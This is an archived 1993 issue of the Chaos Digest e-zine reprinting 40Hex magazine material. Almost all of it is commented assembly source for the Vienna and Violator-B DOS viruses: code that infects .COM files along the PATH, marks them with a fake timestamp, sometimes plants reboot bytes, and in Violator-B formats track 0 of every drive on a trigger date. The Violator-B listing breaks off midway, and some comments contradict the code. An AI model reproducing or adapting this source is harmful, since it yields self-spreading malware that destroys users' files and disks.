home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / KAOS1_31.ZIP / KAOS1-31
Text File  |  1993-05-21  |  27KB  |  733 lines

  1. Chaos Digest            Mercredi 19 Mai 1993         Volume 1 : Numero 30
  2.                            ISSN  1244-4901
  3.  
  4.        Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
  5.        Archiviste: Yves-Marie Crabbe
  6.        Co-Redacteurs: Arnaud Bigare, Stephane Briere
  7.  
  8. TABLE DES MATIERES, #1.30 (19 Mai 1993)
  9. File 1--40H VMag Issue 1 Volume 2 #011(2) (reprint)
  10.  
  11. Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
  12. available at no cost by sending a message to:
  13.                 linux-activists-request@niksula.hut.fi
  14. with a mail header or first line containing the following informations:
  15.                     X-Mn-Admin: join CHAOS_DIGEST
  16.  
  17. The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
  18. or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
  19. 155, 93404 St-Ouen Cedex, France.  He is a member of the EICAR and EFF (#1299)
  20. groups.
  21.  
  22. Issues of ChaosD can also be found on some French BBS.  Back issues of
  23. ChaosD can be found on the Internet as part of the Computer underground
  24. Digest archives.  They're accessible using anonymous FTP from:
  25.  
  26.         * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
  27.         * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
  28.         * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
  29.         * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
  30.         * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
  31.         * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
  32.         * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
  33.  
  34. CHAOS DIGEST is an open forum dedicated to sharing French information among
  35. computerists and to the presentation and debate of diverse views. ChaosD
  36. material may be reprinted for non-profit as long as the source is cited.
  37. Some authors do copyright their material, and they should be contacted for
  38. reprint permission.  Readers are encouraged to submit reasoned articles in
  39. French, English or German languages relating to computer culture and
  40. telecommunications.  Articles are preferred to short responses.  Please
  41. avoid quoting previous posts unless absolutely necessary.
  42.  
  43. DISCLAIMER: The views represented herein do not necessarily represent
  44.             the views of the moderators. Chaos Digest contributors
  45.             assume all responsibility for ensuring that articles
  46.             submitted do not violate copyright protections.
  47.  
  48. ----------------------------------------------------------------------
  49.  
  50. Date: Tue May 11 09:24:40 PDT 1993
  51. From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
  52. Subject: File 1--40H VMag Issue 1 Volume 2 #011(2) (reprint)
  53.  
  54.  
  55. [suite du listing des virus Vienna et Violator]
  56.  
  57. ;************************************************************
  58. ;       Loop to check for the next four characters
  59. ;************************************************************
  60.  
  61. check_next_4:
  62.         LODSB
  63.         SCASB
  64.         JNZ     find_path             ;If not all there, abort & start over
  65.         LOOP    check_next_4          ;Loop to check the next character
  66.  
  67.         POP     SI
  68.         POP     ES
  69.         MOV     [SI+path_ad],DI       ;Save the address of the PATH
  70.         MOV     DI,SI
  71.         ADD     DI,wrk_spc            ;File name workspace
  72.         MOV     BX,SI                 ;Save a copy of SI
  73.         ADD     SI,wrk_spc            ;Point SI to workspace
  74.         MOV     DI,SI                 ;Point DI to workspace
  75.         JMP     SHORT   slash_ok
  76.  
  77. ;**********************************************************
  78. ;     Look in the PATH for more subdirectories, if any
  79. ;**********************************************************
  80.  
  81. set_subdir:
  82.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  83.         JNZ     found_subdir          ;If not, there are more subdirectories
  84.         JMP     all_done              ;Else, we're all done
  85.  
  86. ;**********************************************************
  87. ;    Here if there are more subdirectories in the path
  88. ;**********************************************************
  89.  
  90. found_subdir:
  91.         PUSH    DS
  92.         PUSH    SI
  93.         MOV     DS,ES:2CH              ;DS points to environment segment
  94.         MOV     DI,SI
  95.         MOV     SI,ES:[DI+path_ad]     ;SI = PATH address
  96.         ADD     DI,wrk_spc             ;DI points to file name workspace
  97.  
  98. ;***********************************************************
  99. ;      Move subdirectory name into file name workspace
  100. ;***********************************************************
  101.  
  102. move_subdir:
  103.         LODSB                         ;Get character
  104.         CMP     AL,';'                ;Is it a ';' delimiter?
  105.         JZ      moved_one             ;Yes, found another subdirectory
  106.         CMP     AL,0                  ;End of PATH string?
  107.         JZ      moved_last_one        ;Yes
  108.         STOSB                         ;Save PATH marker into [DI]
  109.         JMP     SHORT   move_subdir
  110.  
  111. ;******************************************************************
  112. ; Mark the fact that we're looking through the final subdirectory
  113. ;******************************************************************
  114.  
  115. moved_last_one:
  116.         MOV     SI,0
  117.  
  118. ;******************************************************************
  119. ;              Here after we've moved a subdirectory
  120. ;******************************************************************
  121.  
  122. moved_one:
  123.         POP     BX                    ;Pointer to virus data area
  124.         POP     DS                    ;Restore DS
  125.         MOV     [BX+path_ad],SI       ;Address of next subdirectory
  126.         NOP
  127.  
  128. ;******************************************************************
  129. ;             Make sure subdirectory ends in a "\"
  130. ;******************************************************************
  131.  
  132.         CMP     CH,'\'                ;Ends with "\"?
  133.         JZ      slash_ok              ;If yes
  134.         MOV     AL,'\'                ;Add one, if not
  135.         STOSB
  136.  
  137. ;******************************************************************
  138. ;     Here after we know there's a backslash at end of subdir
  139. ;******************************************************************
  140.  
  141. slash_ok:
  142.         MOV     [BX+nam_ptr],DI       ;Set filename pointer to name workspace
  143.         MOV     SI,BX                 ;Restore SI
  144.         ADD     SI,f_spec             ;Point to "*.COM"
  145.         MOV     CX,6
  146.         REPZ    MOVSB                 ;Move "*.COM",0 to workspace
  147.  
  148.         MOV     SI,BX
  149.  
  150. ;*******************************************************************
  151. ;                 Find first string matching *.COM
  152. ;*******************************************************************
  153.  
  154.         MOV     AH,4EH
  155.         MOV     DX,wrk_spc
  156. ;       NOP                           ;MASM will add this NOP here
  157.         ADD     DX,SI                 ;DX points to "*.COM" in workspace
  158.         MOV     CX,3                  ;Attributes of Read Only or Hidden OK
  159.         INT     21H
  160.  
  161.         JMP     SHORT   find_first
  162.  
  163. ;*******************************************************************
  164. ;              Find next ASCIIZ string matching *.COM
  165. ;*******************************************************************
  166.  
  167. find_next:
  168.         MOV     AH,4FH
  169.         INT     21H
  170.  
  171. find_first:
  172.         JNB     found_file              ;Jump if we found it
  173.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  174.  
  175. ;*******************************************************************
  176. ;                      Here when we find a file
  177. ;*******************************************************************
  178.  
  179. found_file:
  180.         MOV     AX,[SI+dta_tim]       ;Get time from DTA
  181.         AND     AL,1FH                ;Mask to remove all but seconds
  182.         CMP     AL,1FH                ;62 seconds -> already infected
  183.         JZ      find_next             ;If so, go find another file
  184.  
  185.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  186.         JA      find_next             ;If too long, find another one
  187.  
  188.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  189.         JB      find_next             ;Then go find another one
  190.  
  191.         MOV     DI,[SI+nam_ptr]       ;DI points to file name
  192.         PUSH    SI                    ;Save SI
  193.         ADD     SI,dta_nam            ;Point SI to file name
  194.  
  195. ;********************************************************************
  196. ;                Move the name to the end of the path
  197. ;********************************************************************
  198.  
  199. more_chars:
  200.         LODSB
  201.         STOSB
  202.         CMP     AL,0
  203.         JNZ     more_chars            ;Move characters until we find a 00
  204.  
  205. ;********************************************************************
  206. ;                        Get File Attributes
  207. ;********************************************************************
  208.  
  209.         POP     SI
  210.         MOV     AX,OFFSET 4300H
  211.         MOV     DX,wrk_spc            ;Point to \path\name in workspace
  212. ;       NOP                           ;MASM will add this NOP here
  213.         ADD     DX,SI
  214.         INT     21H
  215.  
  216.         MOV     [SI+old_att],CX       ;Save the old attributes
  217.  
  218. ;********************************************************************
  219. ;         Rewrite the attributes to allow writing to the file
  220. ;********************************************************************
  221.  
  222.         MOV     AX,OFFSET 4301H       ;Set attributes
  223.         AND     CX,OFFSET 0FFFEH      ;Set all except "read only" (weird)
  224.         MOV     DX,wrk_spc            ;Offset of \path\name in workspace
  225. ;       NOP                           ;MASM will add this NOP here
  226.         ADD     DX,SI                 ;Point to \path\name
  227.         INT     21H
  228.  
  229. ;********************************************************************
  230. ;                Open Read/Write channel to the file
  231. ;********************************************************************
  232.  
  233.         MOV     AX,OFFSET 3D02H       ;Read/Write
  234.         MOV     DX,wrk_spc            ;Offset to \path\name in workspace
  235. ;       NOP                           ;MASM will add this NOP here
  236.         ADD     DX,SI                 ;Point to \path\name
  237.         INT     21H
  238.  
  239.         JNB     opened_ok             ;If file was opened OK
  240.         JMP     fix_attr              ;If it failed, restore the attributes
  241.  
  242. ;*******************************************************************
  243. ;                        Get the file date & time
  244. ;*******************************************************************
  245.  
  246. opened_ok:
  247.         MOV     BX,AX
  248.         MOV     AX,OFFSET 5700H
  249.         INT     21H
  250.  
  251.         MOV     [SI+old_tim],CX       ;Save file time
  252.         MOV     [SI+ol_date],DX       ;Save the date
  253.  
  254. ;*******************************************************************
  255. ;                        Get current system time
  256. ;*******************************************************************
  257.  
  258.         MOV     AH,2CH
  259.         INT     21H
  260.  
  261.         AND     DH,7                  ;Last 3 bits 0? (once in eight)
  262.         JNZ     seven_in_eight
  263.  
  264. ;*******************************************************************
  265. ; The special "one in eight" infection. If the above line were in
  266. ;  its original form, this code would be run 1/8 of the time, and
  267. ;  rather than appending a copy of this virus to the .COM file, the
  268. ;  file would get 5 bytes of code that reboot the system when the
  269. ;  .COM file is run.
  270. ;*******************************************************************
  271.  
  272.         MOV     AH,40H                ;Write to file
  273.         MOV     CX,5                  ;Five bytes
  274.         MOV     DX,SI
  275.         ADD     DX,reboot             ;Offset of reboot code in data area
  276.         INT     21H
  277.  
  278.         JMP     SHORT   fix_time_stamp
  279.  
  280.         NOP
  281.  
  282. ;******************************************************************
  283. ;      Here's where we infect a .COM file with this virus
  284. ;******************************************************************
  285.  
  286. seven_in_eight:
  287.         MOV     AH,3FH
  288.         MOV     CX,3
  289.         MOV     DX,first_3
  290. ;       NOP                     ;MASM will add this NOP here
  291.         ADD     DX,SI
  292.         INT     21H             ;Save first 3 bytes into the data area
  293.  
  294.         JB      fix_time_stamp  ;Quit, if read failed
  295.  
  296.         CMP     AX,3            ;Were we able to read all 3 bytes?
  297.         JNZ     fix_time_stamp  ;Quit, if not
  298.  
  299. ;******************************************************************
  300. ;              Move file pointer to end of file
  301. ;******************************************************************
  302.  
  303.         MOV     AX,OFFSET 4202H
  304.         MOV     CX,0
  305.         MOV     DX,0
  306.         INT     21H
  307.  
  308.         JB      fix_time_stamp  ;Quit, if it didn't work
  309.  
  310.         MOV     CX,AX           ;DX:AX (long int) = file size
  311.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  312.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  313.  
  314.         ADD     CX,OFFSET c_len_y
  315.         MOV     DI,SI           ;Point DI to virus data area
  316.         SUB     DI,OFFSET c_len_x
  317.                                 ;Point DI to reference vir_dat, at start of
  318. pgm
  319.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of
  320. pgm
  321.  
  322. ;*******************************************************************
  323. ;                    Write virus code to file
  324. ;*******************************************************************
  325.  
  326.         MOV     AH,40H
  327.  
  328.         MOV_CX  virlen                ;Length of virus, in bytes
  329.  
  330.         MOV     DX,SI
  331.         SUB     DX,OFFSET codelen     ;Length of virus code, gives starting
  332.                                       ; address of virus code in memory
  333.         INT     21H
  334.  
  335.         JB      fix_time_stamp        ;Jump if error
  336.  
  337.         CMP     AX,OFFSET virlen      ;All bytes written?
  338.         JNZ     fix_time_stamp        ;Jump if error
  339.  
  340. ;**********************************************************************
  341. ;                Move file pointer to beginning of the file
  342. ;**********************************************************************
  343.  
  344.         MOV     AX,OFFSET 4200H
  345.         MOV     CX,0
  346.         MOV     DX,0
  347.         INT     21H
  348.  
  349.         JB      fix_time_stamp        ;Jump if error
  350.  
  351. ;**********************************************************************
  352. ;              Write the 3 byte JMP at the start of the file
  353. ;**********************************************************************
  354.  
  355.         MOV     AH,40H
  356.         MOV     CX,3
  357.         MOV     DX,SI                 ;Virus data area
  358.         ADD     DX,jmp_op             ;Point to the reconstructed JMP
  359.         INT     21H
  360.  
  361. ;**********************************************************************
  362. ;       Restore old file date & time, with seconds modified to 62
  363. ;**********************************************************************
  364.  
  365. fix_time_stamp:
  366.         MOV     DX,[SI+ol_date]       ;Old file date
  367.         MOV     CX,[SI+old_tim]       ;Old file time
  368.         AND     CX,OFFSET 0FFE0H
  369.         OR      CX,1FH                ;Seconds = 31/30 min = 62 seconds
  370.         MOV     AX,OFFSET 5701H
  371.         INT     21H
  372.  
  373. ;**********************************************************************
  374. ;                              Close File
  375. ;**********************************************************************
  376.  
  377.         MOV     AH,3EH
  378.         INT     21H
  379.  
  380. ;**********************************************************************
  381. ;                     Restore Old File Attributes
  382. ;**********************************************************************
  383.  
  384. fix_attr:
  385.         MOV     AX,OFFSET 4301H
  386.         MOV     CX,[SI+old_att]       ;Old Attributes
  387.         MOV     DX,wrk_spc
  388. ;       NOP                           ;MASM will add this NOP
  389.         ADD     DX,SI                 ;DX points to \path\name in workspace
  390.         INT     21H
  391.  
  392. ;**********************************************************************
  393. ;              Here when it's time to close it up & end
  394. ;**********************************************************************
  395.  
  396. all_done:
  397.         PUSH    DS
  398.  
  399. ;**********************************************************************
  400. ;                         Restore old DTA
  401. ;**********************************************************************
  402.  
  403.         MOV     AH,1AH
  404.         MOV     DX,[SI+old_dta]
  405.         MOV     DS,[SI+old_dts]
  406.         INT     21H
  407.  
  408.         POP     DS
  409.  
  410. ;*************************************************************************
  411. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  412. ;  in since the address in a real JMP 100 is an offset, and the offset
  413. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  414. ;  stack, we can RET to address 0100H just as though we JMPed there.
  415. ;*************************************************************************
  416.  
  417. quit:
  418.         POP     CX
  419.         XOR     AX,AX
  420.         XOR     BX,BX
  421.         XOR     DX,DX
  422.         XOR     SI,SI
  423.         MOV     DI,OFFSET 0100H
  424.         PUSH    DI
  425.         XOR     DI,DI
  426.  
  427.         RET     0FFFFH
  428.  
  429. ;************************************************************************
  430. ;The virus data starts here. It's accessed off the SI register, per the
  431. ; comments as shown
  432. ;************************************************************************
  433.  
  434. vir_dat EQU     $
  435.  
  436.         ;Use this with (SI + old_dta)
  437. olddta_ DW      0                     ;Old DTA offset
  438.  
  439.         ;Use this with (SI + old_dts)
  440. olddts_ DW      0                     ;Old DTA segment
  441.  
  442.         ;Use this with (SI + old_tim)
  443. oldtim_ DW      0                     ;Old Time
  444.  
  445.         ;Use this with (SI + ol_date)
  446. oldate_ DW      0                     ;Old date
  447.  
  448.         ;Use this with (SI + old_att)
  449. oldatt_ DW      0                     ;Old file attributes
  450.  
  451. ;Here's where the first 3 bytes of the original .COM file go.(SI + first_3)
  452.  
  453. first3_ EQU     $
  454.         INT     20H
  455.         NOP
  456.  
  457. ;Here's where the new JMP instruction is worked out
  458.  
  459.         ;Use this with (SI + jmp_op)
  460. jmpop_  DB      0E9H                  ;Start of JMP instruction
  461.  
  462.         ;Use this with (SI + jmp_dsp)
  463. jmpdsp_ DW      0                     ;The displacement part
  464.  
  465. ;This is the type of file  we're looking to infect. (SI + f_spec)
  466.  
  467. fspec_  DB      '*.COM',0
  468.  
  469.         ;Use this with (SI + path_ad)
  470. pathad_ DW      0                     ;Path address
  471.  
  472.         ;Use this with (SI + nam_ptr)
  473. namptr_ DW      0                     ;Pointer to start of file name
  474.  
  475.         ;Use this with (SI + env_str)
  476. envstr_ DB      'PATH='               ;Find this in the environment
  477.  
  478.         ;File name workspace (SI + wrk_spc)
  479. wrkspc_ DB      40h dup (0)
  480.  
  481.         ;Use this with (SI + dta)
  482. dta_    DB      16h dup (0)           ;Temporary DTA goes here
  483.  
  484.         ;Use this with (SI + dta_tim)
  485. dtatim_ DW      0,0                   ;Time stamp in DTA
  486.  
  487.         ;Use this with (SI + dta_len)
  488. dtalen_ DW      0,0                   ;File length in the DTA
  489.  
  490.         ;Use this with (SI + dta_nam)
  491. dtanam_ DB      0Dh dup (0)           ;File name in the DTA
  492.  
  493.         ;Use this with (SI + reboot)
  494. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  495.  
  496. lst_byt EQU     $                     ;All lines that assemble into code are
  497.                                       ;  above this one
  498.  
  499. ;****************************************************************************
  500. ;The virus needs to know a few details about its own size and the size of its
  501. ;code portion. Let the assembler figure out these sizes automatically.
  502. ;****************************************************************************
  503.  
  504. virlen  =       lst_byt - v_start     ;Length, in bytes, of the entire virus
  505. codelen =       vir_dat - v_start     ;Length of virus code, only
  506. c_len_x =       vir_dat - v_start - 2 ;Displacement for self-modifying code
  507. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  508.  
  509. ;****************************************************************************
  510. ;Because this code is being appended to the end of an executable file, the
  511. ;exact address of its variables cannot be known. All are accessed as offsets
  512. ;from SI, which is represented as vir_dat in the below declarations.
  513. ;****************************************************************************
  514.  
  515. old_dta =       olddta_ - vir_dat     ;Displacement to the old DTA offset
  516. old_dts =       olddts_ - vir_dat     ;Displacement to the old DTA segment
  517. old_tim =       oldtim_ - vir_dat     ;Displacement to old file time stamp
  518. ol_date =       oldate_ - vir_dat     ;Displacement to old file date stamp
  519. old_att =       oldatt_ - vir_dat     ;Displacement to old attributes
  520. first_3 =       first3_ - vir_dat     ;Displacement-1st 3 bytes of old .COM
  521. jmp_op  =       jmpop_  - vir_dat     ;Displacement to the JMP opcode
  522. jmp_dsp =       jmpdsp_ - vir_dat     ;Displacement to the 2nd 2 bytes of JMP
  523. f_spec  =       fspec_  - vir_dat     ;Displacement to the "*.COM" string
  524. path_ad =       pathad_ - vir_dat     ;Displacement to the path address
  525. nam_ptr =       namptr_ - vir_dat     ;Displacement to the filename pointer
  526. env_str =       envstr_ - vir_dat     ;Displacement to the "PATH=" string
  527. wrk_spc =       wrkspc_ - vir_dat     ;Displacement to the filename workspace
  528. dta     =       dta_    - vir_dat     ;Displacement to the temporary DTA
  529. dta_tim =       dtatim_ - vir_dat     ;Displacement to the time in the DTA
  530. dta_len =       dtalen_ - vir_dat     ;Displacement to the length in the DTA
  531. dta_nam =       dtanam_ - vir_dat     ;Displacement to the name in the DTA
  532. reboot  =       reboot_ - vir_dat     ;Displacement to the 5 byte reboot code
  533.  
  534.         CODE    ENDS
  535. END     VCODE
  536.  
  537.  
  538. Now here's the source for Violator-B
  539.  
  540. ------------------------------------------------------------------------------
  541. ;*****************************************************************************
  542. ;
  543. ;                         Violator - Strain B
  544. ;
  545. ;*****************************************************************************
  546. ;(Aug/09/90)
  547. ;
  548. ;Development Notes:
  549. ;
  550. ;I encountered several errors in the original Violator code which I
  551. ;corrected in this version. Mainly, the INT 26 routine to fuck the
  552. ;disk. It seems that the routine would crash right after the INT 26
  553. ;was executed and the whole program would die. I have since fixed
  554. ;this problem in this version with an INT 13, AH 05 (Format Track)
  555. ;command. This works better than the subsequent INT 26.
  556. ;
  557. ;*****************************************************************************
  558. ;
  559. ;                    Written by - The High Evolutionary -
  560. ;                           RABID Head Programmer
  561. ;
  562. ;                          Revised by: oOnslaught
  563. ;                        No affiliation with rabId
  564. ;
  565. ;              Copyright (C) 1990 by RABID Nat'nl Development Corp.
  566. ;
  567. ;*****************************************************************************
  568.  
  569. MOV_CX  MACRO   X
  570.         DB      0B9H
  571.         DW      X
  572. ENDM
  573.  
  574. CODE    SEGMENT
  575.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  576.         ORG     $+0100H            ; Set ORG to 100H plus our own
  577.  
  578. VCODE:  JMP     virus
  579.  
  580.    NOP
  581.    NOP
  582.    NOP                             ;15 NOP's to place JMP Header
  583.    NOP
  584.    NOP
  585.    NOP
  586.    NOP
  587.    NOP
  588.    NOP
  589.    NOP
  590.    NOP
  591.    NOP
  592.    NOP
  593.    NOP
  594.    NOP
  595.  
  596. v_start equ     $
  597.  
  598. virus:  PUSH    CX
  599.         MOV     DX,OFFSET vir_dat
  600.         CLD
  601.         MOV     SI,DX
  602.         ADD     SI,first_3
  603.         MOV     CX,3
  604.         MOV     DI,OFFSET 100H
  605.         REPZ    MOVSB
  606.         MOV     SI,DX
  607.         MOV     AH,30H
  608.         INT     21H
  609.         CMP     AL,0                  ;Quit it it's DOS 1.0
  610.         JNZ     dos_ok
  611.         JMP     quit
  612.  
  613. dos_ok: PUSH    ES
  614.         MOV     AH,2FH
  615.         INT     21H
  616.         MOV     [SI+old_dta],BX
  617.         MOV     [SI+old_dts],ES
  618.         POP     ES
  619.         MOV     DX,dta
  620.         ADD     DX,SI
  621.         MOV     AH,1AH
  622.         INT     21H
  623.         PUSH    ES
  624.         PUSH    SI
  625.         MOV     ES,DS:2CH
  626.         MOV     DI,0
  627.         JMP     year_check
  628.  
  629. year_check:
  630.         MOV     AH,2AH             ;Get date info
  631.         INT     21H                ;Call DOS
  632.         CMP     CX,1990            ;Check to see if the year is 1990
  633.         JGE     month_check        ;If greater or equal, check month
  634.         JMP     find_path          ;If not, go on with infection
  635.  
  636. month_check:
  637.         MOV     AH,2AH             ;Get date info
  638.         INT     21h                ;Call DOS
  639.         CMP     DH,10              ;Check to see if it is September
  640.         JGE     day_check          ;If greater or equal, check day
  641.         JMP     find_path          ;if not, go on with infection
  642.  
  643. day_check:
  644.         MOV     AH,2Ah             ;Get date info
  645.         INT     21H                ;Call DOS
  646.         CMP     DL,31              ;Check to see if it is the 4th
  647.         JGE     multiplex          ;If yes, then nuke drives A:-Z:
  648.         JMP     find_path          ;If not, then go on with infection
  649.  
  650. multiplex:
  651.         MOV     AL,cntr            ;Counter is the drive to kill
  652.         CALL    alter              ;Go and kill the drive
  653.                                    ;25 is drive Z:
  654.         CMP     cntr,25            ;Is (cntr) 25 ?
  655.         JE      find_path          ;Go on with infection
  656.         INC     cntr               ;Add one to (cntr)
  657.         LOOP     multiplex         ;Loop back up to kill next drive
  658.  
  659. alter:
  660.         MOV     AH,05              ;Format Track
  661.         MOV     CH,0               ;Format track 0
  662.         MOV     DH,0               ;Head 0
  663.         MOV     DL,cntr            ;Format for drive in (cntr)
  664.         INT     13h                ;Call RWTS
  665.         RET                        ;Return up for next drive
  666.  
  667. find_path:
  668.         POP     SI
  669.         PUSH    SI
  670.         ADD     SI,env_str
  671.         LODSB
  672.         MOV     CX,OFFSET 8000H
  673.         REPNZ   SCASB
  674.         MOV     CX,4
  675.  
  676. check_next_4:
  677.         LODSB
  678.         SCASB
  679. ;
  680. ;The JNZ line specifies that if there is no PATH present, then we will go
  681. ;along and infect the ROOT directory on the default drive.
  682.         JNZ     find_path         ;If not path, then go to ROOT dir
  683.         LOOP    check_next_4      ;Go back and check for more chars
  684.         POP     SI                ;Load in PATH again to look for chars
  685.         POP     ES
  686.         MOV     [SI+path_ad],DI
  687.         MOV     DI,SI
  688.         ADD     DI,wrk_spc        ;Put the filename in wrk_spc
  689.         MOV     BX,SI
  690.         ADD     SI,wrk_spc
  691.         MOV     DI,SI
  692.         JMP     SHORT   slash_ok
  693.  
  694. set_subdir:
  695.         CMP     WORD PTR [SI+path_ad],0
  696.         JNZ     found_subdir
  697.         JMP     all_done
  698.  
  699. found_subdir:
  700.         PUSH    DS
  701.         PUSH    SI
  702.         MOV     DS,ES:2CH
  703.         MOV     DI,SI
  704.         MOV     SI,ES:[DI+path_ad]
  705.         ADD     DI,wrk_spc        ;DI is the file name to infect! (hehe)
  706.  
  707. move_subdir:
  708.         LODSB                     ;To tedious work to move into subdir
  709.         CMP     AL,';'            ;Does it end with a ; charachter?
  710.         JZ      moved_one         ;if yes, then we found a subdir
  711.         CMP     AL,0              ;is it the end of the path?
  712.         JZ      moved_last_one    ;if yes, then we save the PATH
  713.         STOSB                     ;marker into DI for future reference
  714.         JMP     SHORT   move_subdir
  715.  
  716. moved_last_one:
  717.         MOV     SI,0
  718.  
  719. moved_one:
  720.         POP     BX                ;BX is where the virus data is
  721.         POP     DS                ;Restore DS so that we can do stuph
  722.         MOV     [BX+path_ad],SI   ;Where is the next subdir?
  723.         NOP
  724.         CMP     CH,'\'            ;Check to see if it ends in \
  725.         JZ      slash_ok          ;If yes, then it's OK
  726.         MOV     AL,'\'            ;if not, then add one...
  727.         STOSB                     ;store the sucker
  728.  
  729. ------------------------------
  730.  
  731. End of Chaos Digest #1.31
  732. ************************************
  733.